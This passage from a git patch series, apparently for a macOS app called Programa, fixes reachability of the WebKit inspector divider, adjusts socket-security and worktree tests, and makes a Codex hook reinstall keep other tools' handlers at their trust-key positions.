fix: keep the hosted inspector divider reachable when the inspector is nested --- Sources/BrowserWindowHostView.swift | 1 - Sources/Panels/InspectorDock.swift | 12 ------------ 2 files changed, 13 deletions(-) diff --git a/Sources/BrowserWindowHostView.swift b/Sources/BrowserWindowHostView.swift index 757440346..0db937424 100644 --- a/Sources/BrowserWindowHostView.swift +++ b/Sources/BrowserWindowHostView.swift @@ -805,7 +805,6 @@ final class WindowBrowserHostView: NSView { for slot in visibleSlots { let pointInSlot = slot.convert(point, from: self) guard slot.bounds.contains(pointInSlot), - InspectorDock.mayHostAttachedInspector(slot), let hit = hostedInspectorDividerCandidate(in: slot) else { continue } diff --git a/Sources/Panels/InspectorDock.swift b/Sources/Panels/InspectorDock.swift index 1a4bcca27..0f47c0c2b 100644 --- a/Sources/Panels/InspectorDock.swift +++ b/Sources/Panels/InspectorDock.swift @@ -1,5 +1,4 @@ import AppKit -import WebKit /// Canonical helpers for detecting and reasoning about WebKit's hosted Web Inspector /// (the attached "WKInspector*" view hierarchy) inside the browser view stack. @@ -19,17 +18,6 @@ enum InspectorDock { String(describing: type(of: view)).contains("WKInspector") } - /// Cheap pre-check run on pointer events: WebKit attaches a docked inspector as a sibling - /// of the inspected web view, so without a second web view (or WKInspector view) among - /// `host`'s direct subviews there is no inspector divider to find and no subtree to walk. - static func mayHostAttachedInspector(_ host: NSView) -> Bool { - host.subviews.contains { view in - if view is ProgramaWebView { return false } - if view is WKWebView { return true } - return isInspectorView(view) - } - } - /// Depth-first flattening of every descendant of `root` (not including `root` itself). static func visibleDescendants(in root: NSView) -> [NSView] { var descendants: [NSView] = [] From df81a4ca2fbe865c0fa67c2273fe3ccf4ed92f85 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:41:16 -0300 Subject: [PATCH 19/21] test: observe window.list without the per-thread socket scope and compare worktree realpaths --- .../ConfigFixSweepRegressionTests.swift | 6 +- ...erminalControllerSocketSecurityTests.swift | 65 ++++--------------- 2 files changed, 18 insertions(+), 53 deletions(-) diff --git a/programaTests/ConfigFixSweepRegressionTests.swift b/programaTests/ConfigFixSweepRegressionTests.swift index 490cc4bb9..52ce2ac7d 100644 --- a/programaTests/ConfigFixSweepRegressionTests.swift +++ b/programaTests/ConfigFixSweepRegressionTests.swift @@ -124,7 +124,11 @@ final class ConfigFixSweepRegressionTests: XCTestCase { let entries = GitWorktreeManager.listWorktrees(repoRoot: repo.path) - XCTAssertEqual(entries?.first?.path, repo.path) + // git reports the realpath (/private/var/...); the temp URL may still be the /var symlink. + XCTAssertEqual( + entries?.first.map { URL(fileURLWithPath: $0.path).resolvingSymlinksInPath().path }, + repo.resolvingSymlinksInPath().path + ) XCTAssertEqual(entries?.first?.branch, "feature-x") XCTAssertFalse( FileManager.default.fileExists(atPath: marker.path), diff --git a/programaTests/TerminalControllerSocketSecurityTests.swift b/programaTests/TerminalControllerSocketSecurityTests.swift index dfcb5d410..7fad24d03 100644 --- a/programaTests/TerminalControllerSocketSecurityTests.swift +++ b/programaTests/TerminalControllerSocketSecurityTests.swift @@ -1629,59 +1629,20 @@ final class TerminalControllerSocketSecurityTests: XCTestCase { return } - // This class serializes access to the shared TerminalController. With the preflight - // response fully consumed above, a positive policy depth identifies request 2's - // parsed dispatch scope without making that internal signal part of the assertion. - var dispatchEntryObserved = false - let dispatchEntryDeadline = DispatchTime.now() + 1.0 - while !dispatchEntryObserved { - if TerminalController.shouldSuppressSocketCommandActivation() { - dispatchEntryObserved = true - break - } - - let now = DispatchTime.now().uptimeNanoseconds - guard now < dispatchEntryDeadline.uptimeNanoseconds else { - observation.withLock { - $0.errorDescription = "Timed out waiting for window.list to enter parsed dispatch" - } - break - } - - let remainingNanoseconds = dispatchEntryDeadline.uptimeNanoseconds - now - let remainingMilliseconds = max(1, (remainingNanoseconds + 999_999) / 1_000_000) - var descriptor = pollfd(fd: clientFD, events: Int16(POLLIN), revents: 0) - let pollResult = Darwin.poll( - &descriptor, - 1, - Int32(min(UInt64(5), remainingMilliseconds)) + // The socket-command scope is per-thread, so it cannot be observed from here. While + // main is blocked, window.list must stay unanswered for the whole observation window. + do { + try self.waitForReadable( + from: clientFD, + until: .now() + 0.5, + operation: "checking for an off-main window.list response" ) - if pollResult > 0 { - observation.withLock { $0.responseArrivedWhileBlocked = true } - break - } - if pollResult < 0, errno != EINTR { - observation.withLock { - $0.errorDescription = String(describing: self.posixError("poll while waiting for parsed dispatch")) - } - break - } - } - - if dispatchEntryObserved { - do { - try self.waitForReadable( - from: clientFD, - until: .now() + 0.2, - operation: "checking for an off-main window.list response" - ) - observation.withLock { $0.responseArrivedWhileBlocked = true } - } catch let error as NSError - where error.domain == NSPOSIXErrorDomain && error.code == Int(ETIMEDOUT) { - observation.withLock { $0.confirmedNoResponseWhileBlocked = true } - } catch { - observation.withLock { $0.errorDescription = String(describing: error) } - } + observation.withLock { $0.responseArrivedWhileBlocked = true } + } catch let error as NSError + where error.domain == NSPOSIXErrorDomain && error.code == Int(ETIMEDOUT) { + observation.withLock { $0.confirmedNoResponseWhileBlocked = true } + } catch { + observation.withLock { $0.errorDescription = String(describing: error) } } mainQueueRelease.signal() From 581320700296126f6866f79d05f7efa14d993f85 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:37:16 -0300 Subject: [PATCH 20/21] test: Programa Codex hook reinstall keeps later foreign groups in place --- tests/test_cli_codex_hook_trust.py | 34 ++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/tests/test_cli_codex_hook_trust.py b/tests/test_cli_codex_hook_trust.py index 7aa788174..57247a327 100644 --- a/tests/test_cli_codex_hook_trust.py +++ b/tests/test_cli_codex_hook_trust.py @@ -397,6 +397,40 @@ def test_install_refuses_to_reassign_a_foreign_positional_trust_key(self) -> Non self.assertEqual((self.codex_home / "hooks.json").read_bytes(), original_hooks) self.assertEqual((self.codex_home / "config.toml").read_bytes(), original_config) + def test_reinstall_updates_programa_in_place_when_foreign_groups_follow_it(self) -> None: + """A later tool's groups must keep their positions across a Programa reinstall.""" + foreign_command = ( + 'bun --no-env-file "/x/darkroom/source/src/scripts/codex-hook.ts" ' + '"src/hooks/session-end.ts"' + ) + hooks: dict[str, Any] = {"hooks": {}} + for event, command_event in ( + ("SessionEnd", "session-end"), + ("UserPromptSubmit", "prompt-submit"), + ): + hooks["hooks"][event] = [ + {"hooks": [owned_handler(command_event)]}, + {"hooks": [{"type": "command", "command": foreign_command, "timeout": 5}]}, + ] + self.write_hooks(hooks) + + install = self.run_cli("install-hooks") + self.assert_succeeded(install) + + installed = self.read_hooks()["hooks"] + for event in ("SessionEnd", "UserPromptSubmit"): + groups = installed[event] + self.assertEqual(len(groups), 2, f"{event} must not gain or lose groups") + self.assertTrue( + is_programa_handler(event, groups[0]["hooks"][0]["command"]), + f"{event} Programa handler must stay at 0:0", + ) + self.assertEqual( + groups[1]["hooks"], + [{"type": "command", "command": foreign_command, "timeout": 5}], + f"{event} foreign handler must stay at 1:0", + ) + def test_uninstall_refuses_to_delete_a_user_comment_with_stale_trust(self) -> None: """A positional trust table cannot own comments that follow its assignments.""" hooks = {"hooks": {"SessionStart": [{"hooks": [owned_handler("session-start")]}]}} From bd03a729a1c0f6e931f0e750a1de9344d9a1e2aa Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:39:12 -0300 Subject: [PATCH 21/21] fix: update Programa's Codex hooks in place on reinstall --- CLI/CLI+Hooks.swift | 39 ++++++++++++++++++++++++------ tests/test_cli_codex_hook_trust.py | 5 ++-- 2 files changed, 35 insertions(+), 9 deletions(-) diff --git a/CLI/CLI+Hooks.swift b/CLI/CLI+Hooks.swift index 9ceeed1f9..11666939c 100644 --- a/CLI/CLI+Hooks.swift +++ b/CLI/CLI+Hooks.swift @@ -1979,6 +1979,11 @@ extension ProgramaCLI { guard let rawGroups = hooks[event] as? [Any] else { throw CodexHooksError(message: "hooks.json event \(event) must be an array") } + // Codex trust keys are positional. On install the first owned handler of + // a spec event is rewritten where it stands so foreign handlers that + // follow it keep their (group, handler) positions. + let spec = install ? Self.codexHookSpecs.first { $0.event == event } : nil + var updatedInPlace = false var rewritten: [[String: Any]] = [] for (groupIndex, rawGroup) in rawGroups.enumerated() { guard var group = rawGroup as? [String: Any] else { @@ -1988,6 +1993,7 @@ extension ProgramaCLI { throw CodexHooksError(message: "hooks.json \(event) group \(groupIndex).hooks must be an array") } var handlers: [[String: Any]] = [] + var ownedOnlyGroup = false for (handlerIndex, rawHandler) in rawHandlers.enumerated() { guard let handler = rawHandler as? [String: Any] else { throw CodexHooksError(message: "hooks.json \(event) handler \(handlerIndex) must be an object") @@ -1995,9 +2001,19 @@ extension ProgramaCLI { if let command = handler["command"], !(command is String) { throw CodexHooksError(message: "hooks.json \(event) handler \(handlerIndex).command must be a string") } - if !codexIsOwnedHandler(handler, event: event) { handlers.append(handler) } + if !codexIsOwnedHandler(handler, event: event) { + handlers.append(handler) + } else if let spec, !updatedInPlace { + updatedInPlace = true + handlers.append(Self.codexCanonicalHandler(spec)) + ownedOnlyGroup = rawHandlers.count == 1 + } } - if !handlers.isEmpty { + if ownedOnlyGroup { + // A group holding only Programa's handler is replaced whole so a + // stale matcher cannot narrow it. + rewritten.append(["hooks": handlers]) + } else if !handlers.isEmpty { group["hooks"] = handlers rewritten.append(group) } @@ -2008,11 +2024,12 @@ extension ProgramaCLI { if install { for spec in Self.codexHookSpecs { var groups = hooks[spec.event] as? [[String: Any]] ?? [] - groups.append(["hooks": [[ - "type": "command", - "command": Self.codexHookCommand(spec.commandEvent), - "timeout": spec.timeout, - ] as [String: Any]]]) + let hasOwned = groups.contains { group in + (group["hooks"] as? [[String: Any]] ?? []).contains { codexIsOwnedHandler($0, event: spec.event) } + } + if !hasOwned { + groups.append(["hooks": [Self.codexCanonicalHandler(spec)]]) + } hooks[spec.event] = groups } } @@ -2021,6 +2038,14 @@ extension ProgramaCLI { return root } + private static func codexCanonicalHandler(_ spec: CodexHookSpec) -> [String: Any] { + [ + "type": "command", + "command": codexHookCommand(spec.commandEvent), + "timeout": spec.timeout, + ] + } + private func codexValidateForeignHandlerPositions( before: [String: Any], after: [String: Any] diff --git a/tests/test_cli_codex_hook_trust.py b/tests/test_cli_codex_hook_trust.py index 57247a327..e5e55b753 100644 --- a/tests/test_cli_codex_hook_trust.py +++ b/tests/test_cli_codex_hook_trust.py @@ -370,17 +370,18 @@ def test_invalid_config_fails_before_hooks_are_mutated(self) -> None: ) def test_install_refuses_to_reassign_a_foreign_positional_trust_key(self) -> None: - """Removing a legacy group must not shift foreign trust onto Programa's replacement.""" + """Dropping a duplicate Programa group must not shift foreign trust positions.""" hooks = { "hooks": { "Stop": [ + {"hooks": [owned_handler("stop")]}, {"hooks": [owned_handler("stop")]}, {"hooks": [foreign_handler("position-sensitive-stop")]}, ] } } original_hooks = self.write_hooks(hooks) - foreign_key = f"{self.codex_home.resolve() / 'hooks.json'}:stop:1:0" + foreign_key = f"{self.codex_home.resolve() / 'hooks.json'}:stop:2:0" original_config = ( f'[hooks.state.{json.dumps(foreign_key)}]\n' 'trusted_hash = "sha256:foreign-position"\n'